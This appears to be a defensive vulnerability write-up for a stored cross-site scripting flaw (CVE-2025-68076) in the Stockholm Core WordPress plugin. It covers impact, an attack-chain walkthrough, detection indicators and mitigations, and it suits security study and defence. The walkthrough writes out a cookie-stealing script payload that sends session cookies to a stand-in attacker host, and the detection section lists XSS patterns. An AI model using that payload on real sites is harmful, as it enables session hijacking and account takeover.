CVE-2025-68076: 
WordPress vulnerability analysis and mitigation

CVE-2025-68076 is a Stored Cross-Site Scripting (XSS) vulnerability in the Stockholm Core WordPress plugin developed by Select-Themes. It affects all versions of the plugin through 2.4.6 and was discovered by researcher João Pedro S Alcântara (Kinorth), reported on September 18, 2025, and published by Patchstack on October 18, 2025, with CVE assignment on December 16, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium), as assessed by CISA-ADP (Patchstack, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant, meaning malicious scripts are persisted server-side and executed in victims' browsers upon page load. Exploitation requires a low-privileged authenticated user (Contributor or Developer role) to inject a malicious payload through the plugin's input fields, which are not properly sanitized or escaped before being stored and rendered. Successful exploitation additionally requires a privileged user to interact with the affected page (user interaction required), and the scope is changed, meaning the impact extends beyond the vulnerable component itself (Patchstack).

Successful exploitation allows an attacker with Contributor-level access to inject persistent malicious JavaScript into WordPress pages served by the Stockholm Core plugin, which executes in the browsers of site visitors or administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of users to malicious sites. The changed scope means the impact extends to users beyond the attacker's privilege level, including site administrators whose sessions could be compromised to achieve full site takeover (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-68076. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority, noting it is unlikely to be exploited, though XSS vulnerabilities in WordPress plugins are commonly used in mass-exploit campaigns targeting large numbers of sites (Patchstack).

1. Reconnaissance: Identify WordPress sites using the Stockholm Core plugin (version ≤ 2.4.6) via tools like WPScan or by inspecting page source for plugin references.
2. Obtain low-privileged access: Register or obtain Contributor-level credentials on the target WordPress site.
3. Inject malicious payload: Navigate to a content creation or editing interface exposed by the Stockholm Core plugin and insert a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field that lacks proper sanitization.
4. Publish or save content: Submit the crafted content so the payload is stored in the WordPress database.
5. Trigger execution: Wait for a privileged user (e.g., administrator) or site visitor to load the affected page, causing the injected script to execute in their browser.
6. Achieve objective: Harvest session cookies, perform actions on behalf of the victim, or escalate privileges to full site administrator access (Patchstack).

• Logs: WordPress access logs showing POST requests from low-privileged accounts to content creation/editing endpoints associated with the Stockholm Core plugin, particularly with unusual HTML or script content in request bodies.
• Database: WordPress wp_posts or related plugin tables containing entries with <script>, javascript:, onerror=, or other XSS payload patterns in fields managed by the Stockholm Core plugin.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages rendered by the Stockholm Core plugin, potentially carrying cookie or session data.
• Logs: WordPress audit logs (if enabled) showing Contributor-level users editing or publishing content with unexpected HTML tags or script elements.

As of the time of publication, no official patched version of the Stockholm Core plugin has been released (the Patchstack advisory notes "No official patch available"). Site administrators should immediately audit Contributor and Developer role assignments and restrict them to trusted users only. As a workaround, consider disabling the Stockholm Core plugin until a patched version is available, or use a Web Application Firewall (WAF) such as Patchstack's virtual patching to block exploitation attempts. Monitor the plugin's official repository and the vendor's site for patch releases (Patchstack).

The vulnerability was discovered and responsibly disclosed by independent researcher João Pedro S Alcântara (Kinorth) through Patchstack's vulnerability disclosure program. Patchstack classified the issue as low priority with limited exploitation likelihood. No significant broader media coverage or notable researcher commentary beyond the initial Patchstack advisory has been identified (Patchstack).